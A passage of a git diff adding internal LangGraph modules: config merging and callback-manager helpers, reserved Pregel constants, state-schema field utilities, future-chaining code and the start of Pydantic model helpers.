+        recursion_limit: The recursion limit to set.
+        max_concurrency: The max number of concurrent steps to run, which also applies to parallelized steps.
+        run_name: The run name to set.
+        configurable: The configurable to set.
+
+    Returns:
+        RunnableConfig: The patched config.
+    """
+    config = config.copy() if config is not None else {}
+    if callbacks is not None:
+        # If we're replacing callbacks, we need to unset run_name
+        # As that should apply only to the same run as the original callbacks
+        config["callbacks"] = callbacks
+        if "run_name" in config:
+            del config["run_name"]
+        if "run_id" in config:
+            del config["run_id"]
+    if recursion_limit is not None:
+        config["recursion_limit"] = recursion_limit
+    if max_concurrency is not None:
+        config["max_concurrency"] = max_concurrency
+    if run_name is not None:
+        config["run_name"] = run_name
+    if configurable is not None:
+        config[CONF] = {**config.get(CONF, {}), **configurable}
+    return config
+
+
+def get_callback_manager_for_config(
+    config: RunnableConfig, tags: Sequence[str] | None = None
+) -> CallbackManager:
+    """Get a callback manager for a config.
+
+    Args:
+        config: The config.
+
+    Returns:
+        CallbackManager: The callback manager.
+    """
+    from langchain_core.callbacks.manager import CallbackManager
+
+    # merge tags
+    all_tags = config.get("tags")
+    if all_tags is not None and tags is not None:
+        all_tags = [*all_tags, *tags]
+    elif tags is not None:
+        all_tags = list(tags)
+    # use existing callbacks if they exist
+    if (callbacks := config.get("callbacks")) and isinstance(
+        callbacks, CallbackManager
+    ):
+        if all_tags:
+            callbacks.add_tags(all_tags)
+        if metadata := config.get("metadata"):
+            callbacks.add_metadata(metadata)
+        manager = callbacks
+    else:
+        # otherwise create a new manager
+        manager = CallbackManager.configure(
+            inheritable_callbacks=config.get("callbacks"),
+            inheritable_tags=all_tags,
+            inheritable_metadata=config.get("metadata"),
+            langsmith_inheritable_metadata=_get_tracing_metadata_defaults(config),
+        )
+    return manager
+
+
+def get_async_callback_manager_for_config(
+    config: RunnableConfig,
+    tags: Sequence[str] | None = None,
+) -> AsyncCallbackManager:
+    """Get an async callback manager for a config.
+
+    Args:
+        config: The config.
+
+    Returns:
+        AsyncCallbackManager: The async callback manager.
+    """
+    from langchain_core.callbacks.manager import AsyncCallbackManager
+
+    # merge tags
+    all_tags = config.get("tags")
+    if all_tags is not None and tags is not None:
+        all_tags = [*all_tags, *tags]
+    elif tags is not None:
+        all_tags = list(tags)
+    # use existing callbacks if they exist
+    if (callbacks := config.get("callbacks")) and isinstance(
+        callbacks, AsyncCallbackManager
+    ):
+        if all_tags:
+            callbacks.add_tags(all_tags)
+        if metadata := config.get("metadata"):
+            callbacks.add_metadata(metadata)
+        manager = callbacks
+    else:
+        # otherwise create a new manager
+        manager = AsyncCallbackManager.configure(
+            inheritable_callbacks=config.get("callbacks"),
+            inheritable_tags=all_tags,
+            inheritable_metadata=config.get("metadata"),
+            langsmith_inheritable_metadata=_get_tracing_metadata_defaults(config),
+        )
+    return manager
+
+
+def _is_not_empty(value: Any) -> bool:
+    if isinstance(value, (list, tuple, dict)):
+        return len(value) > 0
+    else:
+        return value is not None
+
+
+def ensure_config(*configs: RunnableConfig | None) -> RunnableConfig:
+    """Return a config with all keys, merging any provided configs.
+
+    Args:
+        *configs: Configs to merge before ensuring defaults.
+
+    Returns:
+        RunnableConfig: The merged and ensured config.
+    """
+    empty = RunnableConfig(
+        tags=[],
+        metadata=ChainMap(),
+        callbacks=None,
+        recursion_limit=DEFAULT_RECURSION_LIMIT,
+        configurable={},
+    )
+    if var_config := var_child_runnable_config.get():
+        empty.update(
+            {
+                k: v.copy() if k in COPIABLE_KEYS else v  # type: ignore[attr-defined]
+                for k, v in var_config.items()
+                if _is_not_empty(v)
+            },
+        )
+    # An explicit config that supplies its own checkpoint coordinate (a
+    # thread_id, or any checkpoint_ns/checkpoint_id/checkpoint_map) is addressing
+    # its own checkpoint lineage, so drop the inherited ambient configurable
+    # rather than merging over it: a child graph invoked inside a parent node
+    # would otherwise write its checkpoints under the parent's namespace and
+    # never find them again. An explicit thread_id resets even when it equals the
+    # ambient one, since a child reusing the parent's thread id still addresses
+    # its own root namespace, not the parent task's. Configs that only refine
+    # other keys keep the ambient and shallow-merge over it below.
+    if empty.get(CONF):
+        for config in configs:
+            if config is None:
+                continue
+            explicit_configurable = config.get(CONF)
+            if not explicit_configurable:
+                continue
+            if any(
+                _is_not_empty(explicit_configurable.get(k))
+                for k in _CHECKPOINT_COORDINATE_KEYS
+            ):
+                empty[CONF] = {}
+                break
+    for config in configs:
+        if config is None:
+            continue
+        for k, v in config.items():
+            if _is_not_empty(v) and k in CONFIG_KEYS:
+                if k == CONF:
+                    # Shallow-merge configurable dicts across configs so values
+                    # bound via with_config(...) (e.g. ls_agent_type) are
+                    # preserved when later configs (e.g. invoke-time) only
+                    # specify a subset of keys like thread_id.
+                    existing = empty.get(k)
+                    empty[k] = (
+                        {**cast(dict, existing), **cast(dict, v)}
+                        if existing
+                        else cast(dict, v).copy()
+                    )
+                elif k == "callbacks":
+                    empty["callbacks"] = _merge_callbacks(
+                        empty.get("callbacks"), cast(Callbacks, v)
+                    )
+                elif k == "metadata":
+                    # Matches merge_configs: top-level metadata keys merge, and
+                    # only `lc_versions` merges one level deeper.
+                    empty["metadata"] = _merge_metadata(
+                        cast(Mapping[str, Any] | None, empty.get("metadata")),
+                        cast(Mapping[str, Any], v),
+                    )
+                elif k == "tags":
+                    # Concatenate tags across configs so values bound via
+                    # with_config(...) are preserved when later configs
+                    # supply additional tags. Matches merge_configs.
+                    existing_tags: list[str] | None = empty.get("tags")
+                    empty["tags"] = (
+                        [*existing_tags, *cast(list, v)]
+                        if existing_tags
+                        else list(cast(list, v))
+                    )
+                else:
+                    empty[k] = v  # type: ignore[literal-required]
+        for k, v in config.items():
+            if _is_not_empty(v) and k not in CONFIG_KEYS:
+                empty[CONF][k] = v
+
+    configurable = empty.get("configurable")
+    metadata = empty.get("metadata")
+    if configurable and metadata is not None:
+        for key in _PROPAGATE_TO_METADATA:
+            if key in metadata:
+                continue
+            value = configurable.get(key)
+            if value:
+                metadata[key] = value
+    return empty
+
+
+_OMIT = ("key", "token", "secret", "password", "auth")
+
+
+def _exclude_as_metadata(key: str, value: Any) -> bool:
+    key_lower = key.casefold()
+    return (
+        key.startswith("__")
+        or not isinstance(value, (str, int, float, bool))
+        or any(substr in key_lower for substr in _OMIT)
+    )
+
+
+def _get_tracing_metadata_defaults(
+    config: RunnableConfig,
+) -> dict[str, Any] | None:
+    """Get tracer-only metadata defaults from configurable values."""
+    configurable = config.get("configurable")
+    if not configurable:
+        return None
+    metadata: dict[str, Any] = {}
+    for key, value in configurable.items():
+        if _exclude_as_metadata(key, value):
+            continue
+        metadata[key] = value
+    return metadata or None
+
+
+_PROPAGATE_TO_METADATA = frozenset(
+    (
+        "thread_id",
+        "checkpoint_id",
+        "checkpoint_ns",
+        "task_id",
+        "run_id",
+        "assistant_id",
+        "graph_id",
+    )
+)
+
+
+def filter_to_user_tags(tags: Sequence[str] | None) -> list[str] | None:
+    """Drop langgraph's internal `seq:step:*` bookkeeping tags.
+
+    `seq:step:N` tags are added internally to mark sequence steps; everything
+    else (user-supplied tags and any other framework tags) is kept. Returns the
+    surviving tags, or `None` if none remain. Shared by the `messages` and
+    `tasks` stream handlers so both surface the same tag set on their metadata.
+    """
+    if not tags:
+        return None
+    filtered = [t for t in tags if not t.startswith("seq:step")]
+    return filtered or None
diff --git a/libs/langgraph/langgraph/_internal/_constants.py b/libs/langgraph/langgraph/_internal/_constants.py
new file mode 100644
index 0000000..58a4e79
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_constants.py
@@ -0,0 +1,140 @@
+"""Constants used for Pregel operations."""
+
+import sys
+from typing import Literal, cast
+
+# --- Reserved write keys ---
+INPUT = sys.intern("__input__")
+# for values passed as input to the graph
+INTERRUPT = sys.intern("__interrupt__")
+# for dynamic interrupts raised by nodes
+RESUME = sys.intern("__resume__")
+# for values passed to resume a node after an interrupt
+ERROR = sys.intern("__error__")
+# for errors raised by nodes
+ERROR_SOURCE_NODE = sys.intern("__error_source_node__")
+# failed source node name for node-level error handlers
+# value format in pending writes: `(task_id, ERROR_SOURCE_NODE, node_name: str)`
+NO_WRITES = sys.intern("__no_writes__")
+# marker to signal node didn't write anything
+TASKS = sys.intern("__pregel_tasks")
+# for Send objects returned by nodes/edges, corresponds to PUSH below
+RETURN = sys.intern("__return__")
+# for writes of a task where we simply record the return value
+PREVIOUS = sys.intern("__previous__")
+# the implicit branch that handles each node's Control values
+
+
+# --- Reserved cache namespaces ---
+CACHE_NS_WRITES = sys.intern("__pregel_ns_writes")
+# cache namespace for node writes
+
+# --- Reserved config.configurable keys ---
+CONFIG_KEY_SEND = sys.intern("__pregel_send")
+# holds the `write` function that accepts writes to state/edges/reserved keys
+CONFIG_KEY_READ = sys.intern("__pregel_read")
+# holds the `read` function that returns a copy of the current state
+CONFIG_KEY_CALL = sys.intern("__pregel_call")
+# holds the `call` function that accepts a node/func, args and returns a future
+CONFIG_KEY_CHECKPOINTER = sys.intern("__pregel_checkpointer")
+# holds a `BaseCheckpointSaver` passed from parent graph to child graphs
+CONFIG_KEY_STREAM = sys.intern("__pregel_stream")
+# holds a `StreamProtocol` passed from parent graph to child graphs
+CONFIG_KEY_CACHE = sys.intern("__pregel_cache")
+# holds a `BaseCache` made available to subgraphs
+CONFIG_KEY_RESUMING = sys.intern("__pregel_resuming")
+# holds a boolean indicating if subgraphs should resume from a previous checkpoint
+CONFIG_KEY_REPLAY_STATE = sys.intern("__pregel_replay_state")
+# holds a ReplayState tracking the parent checkpoint_id upper bound and which
+# subgraph namespaces have already loaded their pre-replay checkpoint
+CONFIG_KEY_TASK_ID = sys.intern("__pregel_task_id")
+# holds the task ID for the current task
+CONFIG_KEY_THREAD_ID = sys.intern("thread_id")
+# holds the thread ID for the current invocation
+CONFIG_KEY_CHECKPOINT_MAP = sys.intern("checkpoint_map")
+# holds a mapping of checkpoint_ns -> checkpoint_id for parent graphs
+CONFIG_KEY_CHECKPOINT_ID = sys.intern("checkpoint_id")
+# holds the current checkpoint_id, if any
+CONFIG_KEY_CHECKPOINT_NS = sys.intern("checkpoint_ns")
+# holds the current checkpoint_ns, "" for root graph
+CONFIG_KEY_NODE_FINISHED = sys.intern("__pregel_node_finished")
+# holds a callback to be called when a node is finished
+CONFIG_KEY_TIMED_ATTEMPT_OBSERVER = sys.intern("__pregel_timed_attempt_observer")
+# holds a callback to be called when an idle-timed node attempt starts or finishes
+CONFIG_KEY_SCRATCHPAD = sys.intern("__pregel_scratchpad")
+# holds a mutable dict for temporary storage scoped to the current task
+CONFIG_KEY_RUNNER_SUBMIT = sys.intern("__pregel_runner_submit")
+# holds a function that receives tasks from runner, executes them and returns results
+CONFIG_KEY_DURABILITY = sys.intern("__pregel_durability")
+# holds the durability mode, one of "sync", "async", or "exit"
+CONFIG_KEY_RUNTIME = sys.intern("__pregel_runtime")
+# holds a `Runtime` instance with context, store, stream writer, etc.
+CONFIG_KEY_RESUME_MAP = sys.intern("__pregel_resume_map")
+# holds a mapping of task ns -> resume value for resuming tasks
+CONFIG_KEY_STREAM_MESSAGES_V2 = sys.intern("__pregel_stream_messages_v2")
+# when True, attach StreamMessagesHandlerV2 so content-block (v2) events
+# flow through stream_mode="messages"; set by StreamingHandler only.
+CONFIG_KEY_NODE_ERROR = sys.intern("__pregel_node_error")
+# holds a `NodeError` (failed source node + exception) for the current
+# node-level error handler invocation, injected when handler signature
+# requests `error: NodeError`
+
+# --- Other constants ---
+PUSH = sys.intern("__pregel_push")
+# denotes push-style tasks, ie. those created by Send objects
+PULL = sys.intern("__pregel_pull")
+# denotes pull-style tasks, ie. those triggered by edges
+NS_SEP = sys.intern("|")
+# for checkpoint_ns, separates each level (ie. graph|subgraph|subsubgraph)
+NS_END = sys.intern(":")
+# for checkpoint_ns, for each level, separates the namespace from the task_id
+CONF = cast(Literal["configurable"], sys.intern("configurable"))
+# key for the configurable dict in RunnableConfig
+NULL_TASK_ID = sys.intern("00000000-0000-0000-0000-000000000000")
+# the task_id to use for writes that are not associated with a task
+OVERWRITE = sys.intern("__overwrite__")
+# dict key for the overwrite value, used as `{'__overwrite__': value}`
+
+# Checkpoint coordinate keys: when any of these appear in an explicit
+# configurable, the caller is addressing its own checkpoint lineage.
+_CHECKPOINT_COORDINATE_KEYS = (
+    CONFIG_KEY_THREAD_ID,
+    CONFIG_KEY_CHECKPOINT_NS,
+    CONFIG_KEY_CHECKPOINT_ID,
+    CONFIG_KEY_CHECKPOINT_MAP,
+)
+
+# redefined to avoid circular import with langgraph.constants
+_TAG_HIDDEN = sys.intern("langsmith:hidden")
+
+RESERVED = {
+    _TAG_HIDDEN,
+    # reserved write keys
+    INPUT,
+    INTERRUPT,
+    RESUME,
+    ERROR,
+    ERROR_SOURCE_NODE,
+    NO_WRITES,
+    # reserved config.configurable keys
+    CONFIG_KEY_SEND,
+    CONFIG_KEY_READ,
+    CONFIG_KEY_CHECKPOINTER,
+    CONFIG_KEY_STREAM,
+    CONFIG_KEY_CHECKPOINT_MAP,
+    CONFIG_KEY_RESUMING,
+    CONFIG_KEY_REPLAY_STATE,
+    CONFIG_KEY_TASK_ID,
+    CONFIG_KEY_CHECKPOINT_MAP,
+    CONFIG_KEY_CHECKPOINT_ID,
+    CONFIG_KEY_CHECKPOINT_NS,
+    CONFIG_KEY_TIMED_ATTEMPT_OBSERVER,
+    CONFIG_KEY_RESUME_MAP,
+    CONFIG_KEY_STREAM_MESSAGES_V2,
+    # other constants
+    PUSH,
+    PULL,
+    NS_SEP,
+    NS_END,
+    CONF,
+}
diff --git a/libs/langgraph/langgraph/_internal/_fields.py b/libs/langgraph/langgraph/_internal/_fields.py
new file mode 100644
index 0000000..7ada8df
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_fields.py
@@ -0,0 +1,213 @@
+from __future__ import annotations
+
+import dataclasses
+import types
+import weakref
+from collections.abc import Generator, Sequence
+from typing import Annotated, Any, Optional, Union, get_origin, get_type_hints
+
+from pydantic import BaseModel
+from typing_extensions import NotRequired, ReadOnly, Required
+
+from langgraph._internal._typing import MISSING
+
+
+def _is_optional_type(type_: Any) -> bool:
+    """Check if a type is Optional."""
+
+    # Handle new union syntax (PEP 604): str | None
+    if isinstance(type_, types.UnionType):
+        return any(
+            arg is type(None) or _is_optional_type(arg) for arg in type_.__args__
+        )
+
+    if hasattr(type_, "__origin__") and hasattr(type_, "__args__"):
+        origin = get_origin(type_)
+        if origin is Optional:
+            return True
+        if origin is Union:
+            return any(
+                arg is type(None) or _is_optional_type(arg) for arg in type_.__args__
+            )
+        if origin is Annotated:
+            return _is_optional_type(type_.__args__[0])
+        return origin is None
+    if hasattr(type_, "__bound__") and type_.__bound__ is not None:
+        return _is_optional_type(type_.__bound__)
+    return type_ is None
+
+
+def _is_required_type(type_: Any) -> bool | None:
+    """Check if an annotation is marked as Required/NotRequired.
+
+    Returns:
+        - True if required
+        - False if not required
+        - None if not annotated with either
+    """
+    origin = get_origin(type_)
+    if origin is Required:
+        return True
+    if origin is NotRequired:
+        return False
+    if origin is Annotated or getattr(origin, "__args__", None):
+        # See https://typing.readthedocs.io/en/latest/spec/typeddict.html#interaction-with-annotated
+        return _is_required_type(type_.__args__[0])
+    return None
+
+
+def _is_readonly_type(type_: Any) -> bool:
+    """Check if an annotation is marked as ReadOnly.
+
+    Returns:
+        - True if is read only
+        - False if not read only
+    """
+
+    # See: https://typing.readthedocs.io/en/latest/spec/typeddict.html#typing-readonly-type-qualifier
+    origin = get_origin(type_)
+    if origin is Annotated:
+        return _is_readonly_type(type_.__args__[0])
+    if origin is ReadOnly:
+        return True
+    return False
+
+
+_DEFAULT_KEYS: frozenset[str] = frozenset()
+
+
+def get_field_default(name: str, type_: Any, schema: type[Any]) -> Any:
+    """Determine the default value for a field in a state schema.
+
+    This is based on:
+        If TypedDict:
+            - Required/NotRequired
+            - total=False -> everything optional
+        - Type annotation (Optional/Union[None])
+    """
+    optional_keys = getattr(schema, "__optional_keys__", _DEFAULT_KEYS)
+    irq = _is_required_type(type_)
+    if name in optional_keys:
+        # Either total=False or explicit NotRequired.
+        # No type annotation trumps this.
+        if irq:
+            # Unless it's earlier versions of python & explicit Required
+            return ...
+        return None
+    if irq is not None:
+        if irq:
+            # Handle Required[]
+            # (we already handled NotRequired and total=False)
+            return ...
+        # Handle NotRequired[] for earlier versions of python
+        return None
+    if dataclasses.is_dataclass(schema):
+        field_info = next(
+            (f for f in dataclasses.fields(schema) if f.name == name), None
+        )
+        if field_info:
+            if (
+                field_info.default is not dataclasses.MISSING
+                and field_info.default is not ...
+            ):
+                return field_info.default
+            elif field_info.default_factory is not dataclasses.MISSING:
+                return field_info.default_factory()
+    # Note, we ignore ReadOnly attributes,
+    # as they don't make much sense. (we don't care if you mutate the state in your node)
+    # and mutating state in your node has no effect on our graph state.
+    # Base case is the annotation
+    if _is_optional_type(type_):
+        return None
+    return ...
+
+
+def get_enhanced_type_hints(
+    type: type[Any],
+) -> Generator[tuple[str, Any, Any, str | None], None, None]:
+    """Attempt to extract default values and descriptions from provided type, used for config schema."""
+    for name, typ in get_type_hints(type).items():
+        default = None
+        description = None
+
+        # Pydantic models
+        try:
+            if hasattr(type, "model_fields") and name in type.model_fields:
+                field = type.model_fields[name]
+
+                if hasattr(field, "description") and field.description is not None:
+                    description = field.description
+
+                if hasattr(field, "default") and field.default is not None:
+                    default = field.default
+                    if (
+                        hasattr(default, "__class__")
+                        and getattr(default.__class__, "__name__", "")
+                        == "PydanticUndefinedType"
+                    ):
+                        default = None
+
+        except (AttributeError, KeyError, TypeError):
+            pass
+
+        # TypedDict, dataclass
+        try:
+            if hasattr(type, "__dict__"):
+                type_dict = getattr(type, "__dict__")
+
+                if name in type_dict:
+                    default = type_dict[name]
+        except (AttributeError, KeyError, TypeError):
+            pass
+
+        yield name, typ, default, description
+
+
+def get_update_as_tuples(input: Any, keys: Sequence[str]) -> list[tuple[str, Any]]:
+    """Get Pydantic state update as a list of (key, value) tuples."""
+    if isinstance(input, BaseModel):
+        keep = input.model_fields_set
+        defaults = {k: v.default for k, v in type(input).model_fields.items()}
+    else:
+        keep = None
+        defaults = {}
+
+    # NOTE: This behavior for Pydantic is somewhat inelegant,
+    # but we keep around for backwards compatibility
+    # if input is a Pydantic model, only update values
+    # that are different from the default values or in the keep set
+    return [
+        (k, value)
+        for k in keys
+        if (value := getattr(input, k, MISSING)) is not MISSING
+        and (
+            value is not None
+            or defaults.get(k, MISSING) is not None
+            or (keep is not None and k in keep)
+        )
+    ]
+
+
+ANNOTATED_KEYS_CACHE: weakref.WeakKeyDictionary[type[Any], tuple[str, ...]] = (
+    weakref.WeakKeyDictionary()
+)
+
+
+def get_cached_annotated_keys(obj: type[Any]) -> tuple[str, ...]:
+    """Return cached annotated keys for a Python class."""
+    if obj in ANNOTATED_KEYS_CACHE:
+        return ANNOTATED_KEYS_CACHE[obj]
+    if isinstance(obj, type):
+        keys: list[str] = []
+        for base in reversed(obj.__mro__):
+            ann = base.__dict__.get("__annotations__")
+            # In Python 3.14+, Pydantic models use descriptors for __annotations__
+            # so we need to fall back to getattr if __dict__.get returns None
+            if ann is None:
+                ann = getattr(base, "__annotations__", None)
+            if ann is None or isinstance(ann, types.GetSetDescriptorType):
+                continue
+            keys.extend(ann.keys())
+        return ANNOTATED_KEYS_CACHE.setdefault(obj, tuple(keys))
+    else:
+        raise TypeError(f"Expected a type, got {type(obj)}. ")
diff --git a/libs/langgraph/langgraph/_internal/_future.py b/libs/langgraph/langgraph/_internal/_future.py
new file mode 100644
index 0000000..31c56bf
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_future.py
@@ -0,0 +1,220 @@
+from __future__ import annotations
+
+import asyncio
+import concurrent.futures
+import contextvars
+import inspect
+import sys
+import types
+from collections.abc import Awaitable, Coroutine, Generator
+from typing import TypeVar, cast
+
+T = TypeVar("T")
+AnyFuture = asyncio.Future | concurrent.futures.Future
+
+CONTEXT_NOT_SUPPORTED = sys.version_info < (3, 11)
+EAGER_NOT_SUPPORTED = sys.version_info < (3, 12)
+
+
+def _get_loop(fut: asyncio.Future) -> asyncio.AbstractEventLoop:
+    # Tries to call Future.get_loop() if it's available.
+    # Otherwise fallbacks to using the old '_loop' property.
+    try:
+        get_loop = fut.get_loop
+    except AttributeError:
+        pass
+    else:
+        return get_loop()
+    return fut._loop
+
+
+def _convert_future_exc(exc: BaseException) -> BaseException:
+    exc_class = type(exc)
+    if exc_class is concurrent.futures.CancelledError:
+        return asyncio.CancelledError(*exc.args)
+    elif exc_class is concurrent.futures.TimeoutError:
+        return asyncio.TimeoutError(*exc.args)
+    elif exc_class is concurrent.futures.InvalidStateError:
+        return asyncio.InvalidStateError(*exc.args)
+    else:
+        return exc
+
+
+def _set_concurrent_future_state(
+    concurrent: concurrent.futures.Future,
+    source: AnyFuture,
+) -> None:
+    """Copy state from a future to a concurrent.futures.Future."""
+    assert source.done()
+    if source.cancelled():
+        concurrent.cancel()
+    if not concurrent.set_running_or_notify_cancel():
+        return
+    exception = source.exception()
+    if exception is not None:
+        concurrent.set_exception(_convert_future_exc(exception))
+    else:
+        result = source.result()
+        concurrent.set_result(result)
+
+
+def _copy_future_state(source: AnyFuture, dest: asyncio.Future) -> None:
+    """Internal helper to copy state from another Future.
+
+    The other Future may be a concurrent.futures.Future.
+    """
+    if dest.done():
+        return
+    assert source.done()
+    if dest.cancelled():
+        return
+    if source.cancelled():
+        dest.cancel()
+    else:
+        exception = source.exception()
+        if exception is not None:
+            dest.set_exception(_convert_future_exc(exception))
+        else:
+            result = source.result()
+            dest.set_result(result)
+
+
+def _chain_future(source: AnyFuture, destination: AnyFuture) -> None:
+    """Chain two futures so that when one completes, so does the other.
+
+    The result (or exception) of source will be copied to destination.
+    If destination is cancelled, source gets cancelled too.
+    Compatible with both asyncio.Future and concurrent.futures.Future.
+    """
+    if not asyncio.isfuture(source) and not isinstance(
+        source, concurrent.futures.Future
+    ):
+        raise TypeError("A future is required for source argument")
+    if not asyncio.isfuture(destination) and not isinstance(
+        destination, concurrent.futures.Future
+    ):
+        raise TypeError("A future is required for destination argument")
+    source_loop = _get_loop(source) if asyncio.isfuture(source) else None
+    dest_loop = _get_loop(destination) if asyncio.isfuture(destination) else None
+
+    def _set_state(future: AnyFuture, other: AnyFuture) -> None:
+        if asyncio.isfuture(future):
+            _copy_future_state(other, future)
+        else:
+            _set_concurrent_future_state(future, other)
+
+    def _call_check_cancel(destination: AnyFuture) -> None:
+        if destination.cancelled():
+            if source_loop is None or source_loop is dest_loop:
+                source.cancel()
+            else:
+                source_loop.call_soon_threadsafe(source.cancel)
+
+    def _call_set_state(source: AnyFuture) -> None:
+        if destination.cancelled() and dest_loop is not None and dest_loop.is_closed():
+            return
+        if dest_loop is None or dest_loop is source_loop:
+            _set_state(destination, source)
+        else:
+            if dest_loop.is_closed():
+                return
+            dest_loop.call_soon_threadsafe(_set_state, destination, source)
+
+    destination.add_done_callback(_call_check_cancel)
+    source.add_done_callback(_call_set_state)
+
+
+def chain_future(source: AnyFuture, destination: AnyFuture) -> AnyFuture:
+    # adapted from asyncio.run_coroutine_threadsafe
+    try:
+        _chain_future(source, destination)
+        return destination
+    except (SystemExit, KeyboardInterrupt):
+        raise
+    except BaseException as exc:
+        if isinstance(destination, concurrent.futures.Future):
+            if destination.set_running_or_notify_cancel():
+                destination.set_exception(exc)
+        else:
+            destination.set_exception(exc)
+        raise
+
+
+def _ensure_future(
+    coro_or_future: Coroutine[None, None, T] | Awaitable[T],
+    *,
+    loop: asyncio.AbstractEventLoop,
+    name: str | None = None,
+    context: contextvars.Context | None = None,
+    lazy: bool = True,
+) -> asyncio.Task[T]:
+    called_wrap_awaitable = False
+    if not asyncio.iscoroutine(coro_or_future):
+        if inspect.isawaitable(coro_or_future):
+            coro_or_future = cast(
+                Coroutine[None, None, T], _wrap_awaitable(coro_or_future)
+            )
+            called_wrap_awaitable = True
+        else:
+            raise TypeError(
+                "An asyncio.Future, a coroutine or an awaitable is required."
+                f" Got {type(coro_or_future).__name__} instead."
+            )
+
+    try:
+        if CONTEXT_NOT_SUPPORTED:
+            return loop.create_task(coro_or_future, name=name)
+        elif EAGER_NOT_SUPPORTED or lazy:
+            return loop.create_task(coro_or_future, name=name, context=context)
+        else:
+            return asyncio.eager_task_factory(
+                loop, coro_or_future, name=name, context=context
+            )
+    except RuntimeError:
+        if not called_wrap_awaitable:
+            coro_or_future.close()
+        raise
+
+
+@types.coroutine
+def _wrap_awaitable(awaitable: Awaitable[T]) -> Generator[None, None, T]:
+    """Helper for asyncio.ensure_future().
+
+    Wraps awaitable (an object with __await__) into a coroutine
+    that will later be wrapped in a Task by ensure_future().
+    """
+    return (yield from awaitable.__await__())
+
+
+def run_coroutine_threadsafe(
+    coro: Coroutine[None, None, T],
+    loop: asyncio.AbstractEventLoop,
+    *,
+    lazy: bool,
+    name: str | None = None,
+    context: contextvars.Context | None = None,
+) -> asyncio.Future[T]:
+    """Submit a coroutine object to a given event loop.
+
+    Return an asyncio.Future to access the result.
+    """
+
+    if asyncio._get_running_loop() is loop:
+        return _ensure_future(coro, loop=loop, name=name, context=context, lazy=lazy)
+    else:
+        future: asyncio.Future[T] = asyncio.Future(loop=loop)
+
+        def callback() -> None:
+            try:
+                chain_future(
+                    _ensure_future(coro, loop=loop, name=name, context=context),
+                    future,
+                )
+            except (SystemExit, KeyboardInterrupt):
+                raise
+            except BaseException as exc:
+                future.set_exception(exc)
+                raise
+
+        loop.call_soon_threadsafe(callback, context=context)
+        return future
diff --git a/libs/langgraph/langgraph/_internal/_pydantic.py b/libs/langgraph/langgraph/_internal/_pydantic.py
new file mode 100644
index 0000000..0d93f08
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_pydantic.py
@@ -0,0 +1,275 @@
+from __future__ import annotations
+
+import sys
+import typing
+import warnings
+from contextlib import nullcontext
+from dataclasses import is_dataclass
+from functools import lru_cache
+from typing import (
+    Any,
+    cast,
+    overload,
+)
+
+from pydantic import (
+    BaseModel,
+    ConfigDict,
+    Field,
+    RootModel,
+)
+from pydantic import (
+    create_model as _create_model_base,
+)
+from pydantic.fields import FieldInfo
+from pydantic.json_schema import (
+    DEFAULT_REF_TEMPLATE,
+    GenerateJsonSchema,
+    JsonSchemaMode,
+)
+from typing_extensions import TypedDict
+
+
+@overload
+def get_fields(model: type[BaseModel]) -> dict[str, FieldInfo]: ...
+
+
+@overload
+def get_fields(model: BaseModel) -> dict[str, FieldInfo]: ...
+
+
+def get_fields(
+    model: type[BaseModel] | BaseModel,
+) -> dict[str, FieldInfo]:
+    """Get the field names of a Pydantic model."""
+    if hasattr(model, "model_fields"):
+        return model.model_fields
+
+    if hasattr(model, "__fields__"):
+        return model.__fields__
+    msg = f"Expected a Pydantic model. Got {type(model)}"
+    raise TypeError(msg)
+
+
+_SchemaConfig = ConfigDict(
+    arbitrary_types_allowed=True, frozen=True, protected_namespaces=()
+)
+
+NO_DEFAULT = object()
+
+
+def _create_root_model(
+    name: str,
+    type_: Any,
+    module_name: str | None = None,
+    default_: object = NO_DEFAULT,
+) -> type[BaseModel]:
+    """Create a base class."""
+
+    def schema(
+        cls: type[BaseModel],
+        by_alias: bool = True,  # noqa: FBT001,FBT002
+        ref_template: str = DEFAULT_REF_TEMPLATE,
+    ) -> dict[str, Any]:
+        # Complains about schema not being defined in superclass
+        schema_ = super(cls, cls).schema(  # type: ignore[misc]
+            by_alias=by_alias, ref_template=ref_template
+        )
+        schema_["title"] = name
+        return schema_
+
+    def model_json_schema(
+        cls: type[BaseModel],
+        by_alias: bool = True,  # noqa: FBT001,FBT002
+        ref_template: str = DEFAULT_REF_TEMPLATE,
+        schema_generator: type[GenerateJsonSchema] = GenerateJsonSchema,
+        mode: JsonSchemaMode = "validation",
+    ) -> dict[str, Any]:
+        # Complains about model_json_schema not being defined in superclass
+        schema_ = super(cls, cls).model_json_schema(  # type: ignore[misc]
+            by_alias=by_alias,
+            ref_template=ref_template,
+            schema_generator=schema_generator,
+            mode=mode,
+        )
+        schema_["title"] = name
+        return schema_
+
+    base_class_attributes = {
+        "__annotations__": {"root": type_},
+        "model_config": ConfigDict(arbitrary_types_allowed=True),
+        "schema": classmethod(schema),
+        "model_json_schema": classmethod(model_json_schema),
+        "__module__": module_name or "langchain_core.runnables.utils",
+    }
+
+    if default_ is not NO_DEFAULT:
+        base_class_attributes["root"] = default_
+    with warnings.catch_warnings():
+        custom_root_type = type(name, (RootModel,), base_class_attributes)
+    return cast("type[BaseModel]", custom_root_type)
+
+
+@lru_cache(maxsize=256)
+def _create_root_model_cached(
+    model_name: str,
+    type_: Any,
+    *,
+    module_name: str | None = None,
+    default_: object = NO_DEFAULT,
+) -> type[BaseModel]:
+    return _create_root_model(
+        model_name, type_, default_=default_, module_name=module_name
+    )
+
+
+@lru_cache(maxsize=256)
+def _create_model_cached(
+    model_name: str,
+    /,
+    **field_definitions: Any,
+) -> type[BaseModel]:
+    return _create_model_base(
+        model_name,
+        __config__=_SchemaConfig,
+        **_remap_field_definitions(field_definitions),
+    )
+
+
+# Reserved names should capture all the `public` names / methods that are
+# used by BaseModel internally. This will keep the reserved names up-to-date.
+# For reference, the reserved names are:
+# "construct", "copy", "dict", "from_orm", "json", "parse_file", "parse_obj",
+# "parse_raw", "schema", "schema_json", "update_forward_refs", "validate",
+# "model_computed_fields", "model_config", "model_construct", "model_copy",
+# "model_dump", "model_dump_json", "model_extra", "model_fields",
+# "model_fields_set", "model_json_schema", "model_parametrized_name",
+# "model_post_init", "model_rebuild", "model_validate", "model_validate_json",
+# "model_validate_strings"
+_RESERVED_NAMES = {key for key in dir(BaseModel) if not key.startswith("_")}
+
+
+def _remap_field_definitions(field_definitions: dict[str, Any]) -> dict[str, Any]:
